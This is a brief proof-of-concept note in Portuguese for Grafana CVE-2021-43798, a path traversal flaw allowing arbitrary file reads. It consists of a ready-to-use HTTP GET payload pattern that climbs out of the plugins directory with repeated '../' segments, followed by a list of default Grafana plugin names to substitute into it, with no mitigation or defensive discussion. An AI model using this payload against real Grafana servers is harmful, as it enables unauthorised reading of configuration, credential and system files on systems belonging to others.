Grafana-CVE-2021-43798

Grafana File-Read Versões afetadas: 8.0.0-lastest

Poc-http-get

/public/plugins/{plugins-lst}/../../../../../../../../{filename}

Lista de plugins padrão

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin